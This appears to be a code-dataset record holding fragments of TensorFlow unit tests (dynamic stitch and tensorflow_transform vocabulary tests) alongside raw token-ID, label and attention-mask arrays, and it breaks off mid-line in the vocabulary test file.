np.array([[0, 1], [40, 41], [70, 71]], dtype=np.float32) val5 = np.array([[10, 11], [60, 61]], dtype=np.float32) val6 = np.array([[20, 21], [30, 31], [50, 51]], dtype=np.float32) expected = np.array( [[0, 1], [10, 11], [20, 21], [30, 31], [40, 41], [50, 51], [60, 61], [70, 71]], dtype=np.float32) self._AssertDynamicStitchResultIs( [val1, val2, val3], [val4, val5, val6], expected=expected) if __name__ == "__main__": googletest.main()
apache-2.0
[ 3, 1898, 9708, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 2925, 367, 2833, 14, 7764, 63, 6329, 335, 1041, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 2680, 465, 980, 199, 199, 504, 3228, 14, 5772, 14, 2219, 14, 88, 416, 63, 396, 492, 1323, 20307, 27309, 199, 504, 3228, 14, 1548, 14, 4857, 492, 6674, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1625, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 666, 63, 1659, 63, 1483, 199, 504, 3228, 14, 1548, 14, 3246, 492, 31141, 421, 199, 533, 21907, 51, 6403, 335, 774, 8, 56, 20307, 27309, 304, 819, 347, 485, 9699, 14451, 51, 6403, 335, 2889, 1831, 8, 277, 12, 4918, 12, 666, 12, 1420, 304, 272, 543, 291, 14, 396, 63, 1730, 342, 465, 2351, 26, 489, 1478, 63, 22100, 275, 359, 881, 1625, 63, 1483, 14, 6199, 8, 5717, 14, 305, 63, 2271, 8, 1273, 14, 2271, 430, 367, 1680, 315, 4918, 489, 1622, 489, 666, 63, 22100, 275, 359, 881, 1625, 63, 1483, 14, 6199, 8, 5717, 14, 305, 63, 2271, 8, 1273, 14, 2271, 430, 367, 1680, 315, 666, 489, 1622, 489, 543, 291, 14, 396, 63, 2645, 837, 267, 1072, 275, 666, 63, 1659, 63, 1483, 14, 7764, 63, 6329, 335, 8, 1080, 63, 22100, 12, 6343, 666, 63, 22100, 9, 2541, 4733, 63, 807, 275, 1052, 489, 367, 10069, 12, 574, 315, 3482, 8, 1080, 63, 22100, 12, 4918, 304, 267, 4733, 63, 807, 59, 6199, 61, 275, 574, 489, 367, 10069, 12, 574, 315, 3482, 8, 576, 63, 22100, 12, 666, 304, 267, 4733, 63, 807, 59, 6199, 61, 275, 574, 489, 754, 275, 2351, 14, 1065, 8, 1199, 12, 4733, 63, 807, 29, 3871, 63, 807, 9, 489, 291, 14, 7260, 8, 2062, 12, 754, 12, 10561, 29, 17, 69, 13, 19, 9, 819, 347, 511, 3184, 4699, 8, 277, 304, 272, 4280, 17, 275, 980, 14, 1144, 779, 16, 12, 499, 467, 2152, 29, 1590, 14, 442, 708, 9, 272, 4280, 18, 275, 980, 14, 1144, 4038, 17, 467, 359, 19, 2365, 2152, 29, 1590, 14, 442, 708, 9, 272, 1139, 17, 275, 980, 14, 1144, 4038, 467, 942, 467, 2152, 29, 1590, 14, 442, 708, 9, 272, 1139, 18, 275, 980, 14, 1144, 23930, 2365, 3474, 15559, 2152, 29, 1590, 14, 442, 708, 9, 272, 291, 423, 9699, 14451, 51, 6403, 335, 2889, 1831, 8, 267, 359, 2996, 17, 12, 4280, 18, 467, 359, 637, 17, 12, 1139, 18, 467, 267, 1420, 29, 1590, 14, 1144, 4038, 467, 990, 990, 942, 467, 980, 14, 442, 708, 430, 819, 347, 511, 3184, 17, 36, 8, 277, 304, 272, 1139, 17, 275, 980, 14, 1144, 779, 16, 12, 841, 12, 1520, 467, 2152, 29, 1590, 14, 442, 708, 9, 272, 1139, 18, 275, 980, 14, 1144, 779, 17, 12, 1227, 12, 499, 12, 650, 12, 959, 467, 2152, 29, 1590, 14, 442, 708, 9, 272, 1139, 19, 275, 980, 14, 1144, 779, 16, 12, 6335, 12, 10045, 467, 2152, 29, 1590, 14, 1609, 708, 9, 272, 1139, 20, 275, 980, 14, 1144, 779, 709, 12, 5212, 12, 3388, 12, 4233, 12, 5238, 467, 2152, 29, 1590, 14, 1609, 708, 9, 272, 1420, 275, 980, 14, 1144, 779, 16, 12, 1616, 12, 3388, 12, 4233, 12, 6335, 12, 5238, 12, 5212, 12, 10045, 467, 2152, 29, 1590, 14, 1609, 708, 9, 272, 291, 423, 9699, 14451, 51, 6403, 335, 2889, 1831, 8, 267, 359, 637, 17, 12, 1139, 18, 467, 359, 637, 19, 12, 1139, 20, 467, 1420, 29, 2062, 9, 819, 347, 511, 3184, 18, 36, 8, 277, 304, 272, 1139, 17, 275, 980, 14, 1144, 779, 16, 12, 841, 12, 1520, 467, 2152, 29, 1590, 14, 442, 708, 9, 272, 1139, 18, 275, 980, 14, 1144, 779, 17, 12, 1227, 467, 2152, 29, 1590, 14, 442, 708, 9, 272, 1139, 19, 275, 980, 14, 1144, 779, 18, 12, 650, 12, 959, 467, 2152, 29, 1590, 14, 442, 708, 9, 272, 1139, 20, 275, 980, 14, 1144, 4038, 16, 12, 413, 467, 359, 2167, 12, 13385, 467, 359, 2760, 12, 17245, 2365, 2152, 29, 1590, 14, 1609, 708, 9, 272, 1139, 21, 275, 980, 14, 1144, 4038, 709, 12, 4119, 467, 359, 2259, 12, 17017, 2365, 2152, 29, 1590, 14, 1609, 708, 9, 272, 1139, 22, 275, 980, 14, 1144, 4038, 1165, 12, 7829, 467, 359, 1216, 12, 7105, 467, 359, 1400, 12, 8026, 2365, 2152, 29, 1590, 14, 1609, 708, 9, 272, 1420, 275, 980, 14, 1144, 8, 267, 3474, 16, 12, 413, 467, 359, 709, 12, 4119, 467, 359, 1165, 12, 7829, 467, 359, 1216, 12, 7105, 467, 359, 2167, 12, 13385, 467, 359, 1400, 12, 8026, 467, 359, 2259, 12, 17017, 467, 268, 359, 2760, 12, 17245, 2365, 267, 2152, 29, 1590, 14, 1609, 708, 9, 272, 291, 423, 9699, 14451, 51, 6403, 335, 2889, 1831, 8, 267, 359, 637, 17, 12, 1139, 18, 12, 1139, 19, 467, 359, 637, 20, 12, 1139, 21, 12, 1139, 22, 467, 1420, 29, 2062, 9, 421, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 523, 31141, 14, 973, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1898, 9708, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 2925, 367, 2833, 14, 7764, 63, 6329, 335, 1041, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 2680, 465, 980, 199, 199, 504, 3228, 14, 5772, 14, 2219, 14, 88, 416, 63, 396, 492, 1323, 20307, 27309, 199, 504, 3228, 14, 1548, 14, 4857, 492, 6674, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1625, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 666, 63, 1659, 63, 1483, 199, 504, 3228, 14, 1548, 14, 3246, 492, 31141, 421, 199, 533, 21907, 51, 6403, 335, 774, 8, 56, 20307, 27309, 304, 819, 347, 485, 9699, 14451, 51, 6403, 335, 2889, 1831, 8, 277, 12, 4918, 12, 666, 12, 1420, 304, 272, 543, 291, 14, 396, 63, 1730, 342, 465, 2351, 26, 489, 1478, 63, 22100, 275, 359, 881, 1625, 63, 1483, 14, 6199, 8, 5717, 14, 305, 63, 2271, 8, 1273, 14, 2271, 430, 367, 1680, 315, 4918, 489, 1622, 489, 666, 63, 22100, 275, 359, 881, 1625, 63, 1483, 14, 6199, 8, 5717, 14, 305, 63, 2271, 8, 1273, 14, 2271, 430, 367, 1680, 315, 666, 489, 1622, 489, 543, 291, 14, 396, 63, 2645, 837, 267, 1072, 275, 666, 63, 1659, 63, 1483, 14, 7764, 63, 6329, 335, 8, 1080, 63, 22100, 12, 6343, 666, 63, 22100, 9, 2541, 4733, 63, 807, 275, 1052, 489, 367, 10069, 12, 574, 315, 3482, 8, 1080, 63, 22100, 12, 4918, 304, 267, 4733, 63, 807, 59, 6199, 61, 275, 574, 489, 367, 10069, 12, 574, 315, 3482, 8, 576, 63, 22100, 12, 666, 304, 267, 4733, 63, 807, 59, 6199, 61, 275, 574, 489, 754, 275, 2351, 14, 1065, 8, 1199, 12, 4733, 63, 807, 29, 3871, 63, 807, 9, 489, 291, 14, 7260, 8, 2062, 12, 754, 12, 10561, 29, 17, 69, 13, 19, 9, 819, 347, 511, 3184, 4699, 8, 277, 304, 272, 4280, 17, 275, 980, 14, 1144, 779, 16, 12, 499, 467, 2152, 29, 1590, 14, 442, 708, 9, 272, 4280, 18, 275, 980, 14, 1144, 4038, 17, 467, 359, 19, 2365, 2152, 29, 1590, 14, 442, 708, 9, 272, 1139, 17, 275, 980, 14, 1144, 4038, 467, 942, 467, 2152, 29, 1590, 14, 442, 708, 9, 272, 1139, 18, 275, 980, 14, 1144, 23930, 2365, 3474, 15559, 2152, 29, 1590, 14, 442, 708, 9, 272, 291, 423, 9699, 14451, 51, 6403, 335, 2889, 1831, 8, 267, 359, 2996, 17, 12, 4280, 18, 467, 359, 637, 17, 12, 1139, 18, 467, 267, 1420, 29, 1590, 14, 1144, 4038, 467, 990, 990, 942, 467, 980, 14, 442, 708, 430, 819, 347, 511, 3184, 17, 36, 8, 277, 304, 272, 1139, 17, 275, 980, 14, 1144, 779, 16, 12, 841, 12, 1520, 467, 2152, 29, 1590, 14, 442, 708, 9, 272, 1139, 18, 275, 980, 14, 1144, 779, 17, 12, 1227, 12, 499, 12, 650, 12, 959, 467, 2152, 29, 1590, 14, 442, 708, 9, 272, 1139, 19, 275, 980, 14, 1144, 779, 16, 12, 6335, 12, 10045, 467, 2152, 29, 1590, 14, 1609, 708, 9, 272, 1139, 20, 275, 980, 14, 1144, 779, 709, 12, 5212, 12, 3388, 12, 4233, 12, 5238, 467, 2152, 29, 1590, 14, 1609, 708, 9, 272, 1420, 275, 980, 14, 1144, 779, 16, 12, 1616, 12, 3388, 12, 4233, 12, 6335, 12, 5238, 12, 5212, 12, 10045, 467, 2152, 29, 1590, 14, 1609, 708, 9, 272, 291, 423, 9699, 14451, 51, 6403, 335, 2889, 1831, 8, 267, 359, 637, 17, 12, 1139, 18, 467, 359, 637, 19, 12, 1139, 20, 467, 1420, 29, 2062, 9, 819, 347, 511, 3184, 18, 36, 8, 277, 304, 272, 1139, 17, 275, 980, 14, 1144, 779, 16, 12, 841, 12, 1520, 467, 2152, 29, 1590, 14, 442, 708, 9, 272, 1139, 18, 275, 980, 14, 1144, 779, 17, 12, 1227, 467, 2152, 29, 1590, 14, 442, 708, 9, 272, 1139, 19, 275, 980, 14, 1144, 779, 18, 12, 650, 12, 959, 467, 2152, 29, 1590, 14, 442, 708, 9, 272, 1139, 20, 275, 980, 14, 1144, 4038, 16, 12, 413, 467, 359, 2167, 12, 13385, 467, 359, 2760, 12, 17245, 2365, 2152, 29, 1590, 14, 1609, 708, 9, 272, 1139, 21, 275, 980, 14, 1144, 4038, 709, 12, 4119, 467, 359, 2259, 12, 17017, 2365, 2152, 29, 1590, 14, 1609, 708, 9, 272, 1139, 22, 275, 980, 14, 1144, 4038, 1165, 12, 7829, 467, 359, 1216, 12, 7105, 467, 359, 1400, 12, 8026, 2365, 2152, 29, 1590, 14, 1609, 708, 9, 272, 1420, 275, 980, 14, 1144, 8, 267, 3474, 16, 12, 413, 467, 359, 709, 12, 4119, 467, 359, 1165, 12, 7829, 467, 359, 1216, 12, 7105, 467, 359, 2167, 12, 13385, 467, 359, 1400, 12, 8026, 467, 359, 2259, 12, 17017, 467, 268, 359, 2760, 12, 17245, 2365, 267, 2152, 29, 1590, 14, 1609, 708, 9, 272, 291, 423, 9699, 14451, 51, 6403, 335, 2889, 1831, 8, 267, 359, 637, 17, 12, 1139, 18, 12, 1139, 19, 467, 359, 637, 20, 12, 1139, 21, 12, 1139, 22, 467, 1420, 29, 2062, 9, 421, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 523, 31141, 14, 973, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
tensorflow/transform
tensorflow_transform/beam/vocabulary_integration_test.py
1
60998
# coding=utf-8 # # Copyright 2017 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests for tft.vocabulary and tft.compute_and_apply_vocabulary.""" import os import apache_beam as beam import tensorflow as tf import tensorflow_transform as tft from tensorflow_transform.beam import analyzer_impls from tensorflow_transform.beam import impl as beam_impl from tensorflow_transform.beam import tft_unit from tensorflow_transform.beam.tft_beam_io import transform_fn_io from tensorflow_metadata.proto.v0 import schema_pb2 mock = tf.compat.v1.test.mock class VocabularyIntegrationTest(tft_unit.TransformTestCase): def setUp(self): tf.compat.v1.logging.info('Starting test case: %s', self._testMethodName) self._context = beam_impl.Context(force_tf_compat_v1=True) self._context.__enter__() super().setUp() def _VocabFormat(self): return 'text' _WITH_LABEL_PARAMS = tft_unit.cross_named_parameters([ dict( testcase_name='_string', x_data=[ b'hello', b'hello', b'hello', b'goodbye', b'aaaaa', b'aaaaa', b'goodbye', b'goodbye', b'aaaaa', b'aaaaa', b'goodbye', b'goodbye' ], x_feature_spec=tf.io.FixedLenFeature([], tf.string), expected_vocab_file_contents=[(b'goodbye', 1.9753224), (b'aaaaa', 1.6600707), (b'hello', 1.2450531)]), dict( testcase_name='_int64', x_data=[3, 3, 3, 1, 2, 2, 1, 1, 2, 2, 1, 1], x_feature_spec=tf.io.FixedLenFeature([], tf.int64), expected_vocab_file_contents=[(b'1', 1.9753224), (b'2', 1.6600707), (b'3', 1.2450531)]), ], [ dict( testcase_name='with_label', label_data=[1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0], label_feature_spec=tf.io.FixedLenFeature([], tf.int64), min_diff_from_avg=0.0, store_frequency=True), ]) @tft_unit.named_parameters(*([ dict( testcase_name='_unadjusted_mi_binary_label', x_data=[ b'informative', b'informative', b'informative', b'uninformative', b'uninformative', b'uninformative', b'uninformative', b'uninformative_rare', b'uninformative_rare' ], x_feature_spec=tf.io.FixedLenFeature([], tf.string), label_data=[1, 1, 1, 0, 1, 1, 0, 0, 1], label_feature_spec=tf.io.FixedLenFeature([], tf.int64), expected_vocab_file_contents=[ (b'informative', 1.7548264), (b'uninformative', 0.33985), (b'uninformative_rare', 0.169925), ], min_diff_from_avg=0.0, use_adjusted_mutual_info=False, store_frequency=True), dict( testcase_name='_unadjusted_mi_multi_class_label', x_data=[ b'good_predictor_of_0', b'good_predictor_of_0', b'good_predictor_of_0', b'good_predictor_of_1', b'good_predictor_of_2', b'good_predictor_of_2', b'good_predictor_of_2', b'good_predictor_of_1', b'good_predictor_of_1', b'weak_predictor_of_1', b'good_predictor_of_0', b'good_predictor_of_1', b'good_predictor_of_1', b'good_predictor_of_1', b'weak_predictor_of_1' ], x_feature_spec=tf.io.FixedLenFeature([], tf.string), label_data=[0, 0, 0, 1, 2, 2, 2, 1, 1, 1, 0, 1, 1, 1, 0], label_feature_spec=tf.io.FixedLenFeature([], tf.int64), expected_vocab_file_contents=[ (b'good_predictor_of_2', 6.9656613), (b'good_predictor_of_1', 6.5969828), (b'good_predictor_of_0', 6.339692), (b'weak_predictor_of_1', 0.684463), ], min_diff_from_avg=0.0, use_adjusted_mutual_info=False, store_frequency=True), dict( testcase_name='_unadjusted_mi_binary_label_with_weights', x_data=[ b'informative_1', b'informative_1', b'informative_0', b'informative_0', b'uninformative', b'uninformative', b'informative_by_weight', b'informative_by_weight' ], x_feature_spec=tf.io.FixedLenFeature([], tf.string), label_data=[1, 1, 0, 0, 0, 1, 0, 1], label_feature_spec=tf.io.FixedLenFeature([], tf.int64), # uninformative and informative_by_weight have the same co-occurrence # relationship with the label but will have different importance # values due to the weighting. expected_vocab_file_contents=[ (b'informative_0', 3.1698803), (b'informative_1', 1.1698843), (b'informative_by_weight', 0.6096405), (b'uninformative', 0.169925), ], weight_data=[1, 1, 1, 1, 1, 1, 1, 5], weight_feature_spec=tf.io.FixedLenFeature([], tf.float32), min_diff_from_avg=0.0, use_adjusted_mutual_info=False, store_frequency=True), dict( testcase_name='_unadjusted_mi_binary_label_min_diff_from_avg', x_data=[ b'hello', b'hello', b'hello', b'goodbye', b'aaaaa', b'aaaaa', b'goodbye', b'goodbye', b'aaaaa', b'aaaaa', b'goodbye', b'goodbye' ], x_feature_spec=tf.io.FixedLenFeature([], tf.string), label_data=[1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0], label_feature_spec=tf.io.FixedLenFeature([], tf.int64), # All features are weak predictors, so all are adjusted to zero. expected_vocab_file_contents=[ (b'hello', 0.0), (b'goodbye', 0.0), (b'aaaaa', 0.0), ], use_adjusted_mutual_info=False, min_diff_from_avg=2.0, store_frequency=True), dict( testcase_name='_adjusted_mi_binary_label', x_data=[ b'hello', b'hello', b'hello', b'goodbye', b'aaaaa', b'aaaaa', b'goodbye', b'goodbye', b'aaaaa', b'aaaaa', b'goodbye', b'goodbye' ], x_feature_spec=tf.io.FixedLenFeature([], tf.string), label_data=[1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0], label_feature_spec=tf.io.FixedLenFeature([], tf.int64), expected_vocab_file_contents=[ (b'goodbye', 1.4070794), (b'aaaaa', 0.9987448), (b'hello', 0.5017178), ], min_diff_from_avg=0.0, use_adjusted_mutual_info=True, store_frequency=True), dict( testcase_name='_adjusted_mi_binary_label_int64_feature', x_data=[3, 3, 3, 1, 2, 2, 1, 1, 2, 2, 1, 1], x_feature_spec=tf.io.FixedLenFeature([], tf.int64), label_data=[1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0], label_feature_spec=tf.io.FixedLenFeature([], tf.int64), expected_vocab_file_contents=[ (b'1', 1.4070794), (b'2', 0.9987448), (b'3', 0.5017178), ], min_diff_from_avg=0.0, use_adjusted_mutual_info=True, store_frequency=True), dict( testcase_name='_adjusted_mi_multi_class_label', x_data=[ b'good_predictor_of_0', b'good_predictor_of_0', b'good_predictor_of_0', b'good_predictor_of_1', b'good_predictor_of_2', b'good_predictor_of_2', b'good_predictor_of_2', b'good_predictor_of_1', b'good_predictor_of_1', b'weak_predictor_of_1', b'good_predictor_of_0', b'good_predictor_of_1', b'good_predictor_of_1', b'good_predictor_of_1', b'weak_predictor_of_1' ], x_feature_spec=tf.io.FixedLenFeature([], tf.string), label_data=[0, 0, 0, 1, 2, 2, 2, 1, 1, 1, 0, 1, 1, 1, 0], label_feature_spec=tf.io.FixedLenFeature([], tf.int64), expected_vocab_file_contents=[ (b'good_predictor_of_1', 5.4800901), (b'good_predictor_of_2', 5.3861019), (b'good_predictor_of_0', 4.9054722), (b'weak_predictor_of_1', -0.9748023), ], min_diff_from_avg=0.0, use_adjusted_mutual_info=True, store_frequency=True), # TODO(b/128831096): Determine correct interaction between AMI and weights dict( testcase_name='_adjusted_mi_binary_label_with_weights', x_data=[ b'informative_1', b'informative_1', b'informative_0', b'informative_0', b'uninformative', b'uninformative', b'informative_by_weight', b'informative_by_weight' ], x_feature_spec=tf.io.FixedLenFeature([], tf.string), label_data=[1, 1, 0, 0, 0, 1, 0, 1], label_feature_spec=tf.io.FixedLenFeature([], tf.int64), weight_data=[1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 5.0], weight_feature_spec=tf.io.FixedLenFeature([], tf.float32), # uninformative and informative_by_weight have the same co-occurrence # relationship with the label but will have different importance # values due to the weighting. expected_vocab_file_contents=[ (b'informative_0', 2.3029856), (b'informative_1', 0.3029896), (b'informative_by_weight', 0.1713041), (b'uninformative', -0.6969697), ], min_diff_from_avg=0.0, use_adjusted_mutual_info=True, store_frequency=True), dict( testcase_name='_adjusted_mi_min_diff_from_avg', x_data=[ b'good_predictor_of_0', b'good_predictor_of_0', b'good_predictor_of_0', b'good_predictor_of_1', b'good_predictor_of_0', b'good_predictor_of_1', b'good_predictor_of_1', b'good_predictor_of_1', b'good_predictor_of_1', b'good_predictor_of_0', b'good_predictor_of_1', b'good_predictor_of_1', b'good_predictor_of_1', b'weak_predictor_of_1', b'weak_predictor_of_1' ], x_feature_spec=tf.io.FixedLenFeature([], tf.string), label_data=[0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0], label_feature_spec=tf.io.FixedLenFeature([], tf.int64), # With min_diff_from_avg, the small AMI value is regularized to 0 expected_vocab_file_contents=[ (b'good_predictor_of_0', 1.8322128), (b'good_predictor_of_1', 1.7554416), (b'weak_predictor_of_1', 0), ], use_adjusted_mutual_info=True, min_diff_from_avg=1.0, store_frequency=True), dict( testcase_name='_labels_weight_and_frequency', x_data=[ b'hello', b'hello', b'hello', b'goodbye', b'aaaaa', b'aaaaa', b'goodbye', b'goodbye', b'aaaaa', b'aaaaa', b'goodbye', b'goodbye' ], x_feature_spec=tf.io.FixedLenFeature([], tf.string), label_data=[1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0], label_feature_spec=tf.io.FixedLenFeature([], tf.int64), weight_data=[ 0.3, 0.4, 0.3, 1.2, 0.6, 0.7, 1.0, 1.0, 0.6, 0.7, 1.0, 1.0 ], weight_feature_spec=tf.io.FixedLenFeature([], tf.float32), expected_vocab_file_contents=[ (b'aaaaa', 1.5637185), (b'goodbye', 0.8699492), (b'hello', 0.6014302), ], min_diff_from_avg=0.0, store_frequency=True), # fingerprints by which each of the tokens will be sorted if fingerprint # shuffling is used. # 'ho ho': '1b3dd735ddff70d90f3b7ba5ebf65df521d6ca4d' # 'world': '7c211433f02071597741e6ff5a8ea34789abbf43' # 'hello': 'aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d' # 'hi': 'c22b5f9178342609428d6f51b2c5af4c0bde6a42' # '1': '356a192b7913b04c54574d18c28d46e6395428ab' # '2': 'da4b9237bacccdf19c0760cab7aec4a8359010b0' # '3': '77de68daecd823babbb58edb1c8e14d7106e83bb' dict( testcase_name='_string_feature_with_frequency_and_shuffle', x_data=[b'world', b'hello', b'hello'], x_feature_spec=tf.io.FixedLenFeature([], tf.string), expected_vocab_file_contents=[(b'world', 1), (b'hello', 2)], fingerprint_shuffle=True, store_frequency=True), dict( testcase_name='_string_feature_with_frequency_and_no_shuffle', x_data=[b'hi', b'ho ho', b'ho ho'], x_feature_spec=tf.io.FixedLenFeature([], tf.string), expected_vocab_file_contents=[(b'ho ho', 2), (b'hi', 1)], store_frequency=True), dict( testcase_name='_string_feature_with_no_frequency_and_shuffle', x_data=[b'world', b'hello', b'hello'], x_feature_spec=tf.io.FixedLenFeature([], tf.string), expected_vocab_file_contents=[b'world', b'hello'], fingerprint_shuffle=True), dict( testcase_name='_string_feature_with_no_frequency_and_no_shuffle', x_data=[b'world', b'hello', b'hello'], x_feature_spec=tf.io.FixedLenFeature([], tf.string), expected_vocab_file_contents=[b'hello', b'world']), dict( testcase_name='_int_feature_with_frequency_and_shuffle', x_data=[1, 2, 2, 3], x_feature_spec=tf.io.FixedLenFeature([], tf.int64), expected_vocab_file_contents=[(b'1', 1), (b'3', 1), (b'2', 2)], fingerprint_shuffle=True, store_frequency=True), dict( testcase_name='_int_feature_with_frequency_and_no_shuffle', x_data=[2, 1, 1, 1], x_feature_spec=tf.io.FixedLenFeature([], tf.int64), expected_vocab_file_contents=[(b'1', 3), (b'2', 1)], store_frequency=True), dict( testcase_name='_int_feature_with_no_frequency_and_shuffle', x_data=[1, 2, 2, 3], x_feature_spec=tf.io.FixedLenFeature([], tf.int64), expected_vocab_file_contents=[b'1', b'3', b'2'], fingerprint_shuffle=True), dict( testcase_name='_int_feature_with_no_frequency_and_no_shuffle', x_data=[1, 2, 2, 3], x_feature_spec=tf.io.FixedLenFeature([], tf.int64), expected_vocab_file_contents=[b'2', b'3', b'1']), dict( testcase_name='_int_feature_with_top_k', x_data=[111, 2, 2, 3], top_k=2, x_feature_spec=tf.io.FixedLenFeature([], tf.int64), expected_vocab_file_contents=[b'2', b'3']), ] + _WITH_LABEL_PARAMS)) def testVocabulary(self, x_data, x_feature_spec, label_data=None, label_feature_spec=None, weight_data=None, weight_feature_spec=None, expected_vocab_file_contents=None, **kwargs): """Test tft.Vocabulary with various inputs.""" input_data = [{'x': x} for x in x_data] input_feature_spec = {'x': x_feature_spec} if label_data is not None: for idx, label in enumerate(label_data): input_data[idx]['label'] = label input_feature_spec['label'] = label_feature_spec if weight_data is not None: for idx, weight in enumerate(weight_data): input_data[idx]['weights'] = weight input_feature_spec['weights'] = weight_feature_spec input_metadata = tft_unit.metadata_from_feature_spec(input_feature_spec) def preprocessing_fn(inputs): x = inputs['x'] labels = inputs.get('label') weights = inputs.get('weights') # Note even though the return value is not used, calling tft.vocabulary # will generate the vocabulary as a side effect, and since we have named # this vocabulary it can be looked up using public APIs. tft.vocabulary( x, labels=labels, weights=weights, vocab_filename='my_vocab', file_format=self._VocabFormat(), **kwargs) return inputs self.assertAnalyzeAndTransformResults( input_data, input_metadata, preprocessing_fn, input_data, # expected output data is same as input data input_metadata, # expected output metadata is ame as input metadata expected_vocab_file_contents={'my_vocab': expected_vocab_file_contents}) def testJointVocabularyForMultipleFeatures(self): input_data = [{ 'a': 'hello', 'b': 'world', 'c': 'aaaaa' }, { 'a': 'good', 'b': '', 'c': 'hello' }, { 'a': 'goodbye', 'b': 'hello', 'c': '\n' }, { 'a': ' ', 'b': 'aaaaa', 'c': 'bbbbb' }] input_metadata = tft_unit.metadata_from_feature_spec({ 'a': 